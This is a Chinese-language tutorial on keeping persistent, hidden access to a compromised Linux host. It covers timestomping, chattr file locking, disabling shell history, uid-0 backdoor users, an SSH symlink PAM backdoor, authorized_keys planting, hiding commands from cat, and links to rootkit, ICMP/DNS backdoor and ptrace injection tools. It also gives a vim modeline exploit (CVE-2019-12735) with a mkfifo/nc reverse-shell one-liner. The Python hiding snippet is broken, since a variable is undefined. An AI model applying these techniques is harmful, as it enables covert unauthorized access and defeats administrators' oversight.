Linux权限维持
0x00:前言
总结
0x01:修改文件/终端属性
1.文件创建时间
参照已有文件修改文件生成时间
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。
2.文件锁定
使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
chattr +i e.php
rm -rf e.php //提示不允许删除
3.历史操作命令
隐藏自己的命令,使其无法记录在命令行历史中。
(1)命令前加空格
每条命令前都需要加空格才能无痕
(2)空格 set +o history
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有记录都会原样记录在历史列表中。
重新开启历史功能,执行以下命令:
set -o history
4.添加用户
/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
/etc/shadow 各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
(1)增加超级用户 具系统而定
(2)修改添加的用户uid为0
0x02:LKM Linux rootkit后门
项目地址:https://github.com/f0rb1dd3n/Reptile
0x03:SSH 后门
1.SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid 0 即可认证成功,这样就导致了可以使用任意密码登录:
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888
ssh root@127.0.0.1 -p 888
实测依然需要密码 且输入正确密码无效
2.SSH公钥免密登陆
ssh-keygen -t rsa //生成公钥
echo id_rsa.pub >> .ssh/authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys里
0x04:Cat隐藏
cat其实默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令。
使用python生成带有换行符的内容sh:
cmd_v = "echo 'Hello world!'" # visible
with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)
注意这里需要使用linux编译执行脚本 windows平台会出现乱码
使用 cat -A 参数即可看到所有内容 vi编辑器也可以
0x05:vim后门
vim modeline(CVE-2019-12735)
存在版本限制
该漏洞存在于编辑器的 modeline功能,部分 Linux 发行版默认启用了该功能,macOS 是没有默认启用。 当 vim 打开一个包含了 vim modeline 注释行的文件时,会自动读取这一行的参数配置并调整自己的设置到这个配置。vim默认关闭modeline。
开启命令:
vim /usr/share/vim/vimrc
set modeline
创建文件
echo ':!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > hello.txt vim hello.txt
反弹shell
:!rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 9999 >/tmp/f||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
0x06:协议后门
ICMP
主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: https://zhuanlan.zhihu.com/p/41154036
开源工具:ICMP后门项目地址:https://github.com/andreafabrizi/prism
DNS
在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),具体请参考:通过DNS传输后门来绕过杀软
开源工具:DNS后门项目地址:https://github.com/DamonMohammadbagher/NativePayload_DNS
0x07:进程注入
从技术上说,获取其它的进程并修改它一般是通过操作系统提供的调试接口来实现的,在 linux 中具有调试功能的工具有 ptrace、Gdb、radare2、strace 等,这些工具都是使用 ptrace 这个系统调用来提供服务的。ptrace 系统调用允许一个进程去调试另外一个进程。
GitHub存在大量开源工具,比如: linux-inject,主要原理是使用 ptrace 向进程中注入恶意 so 文件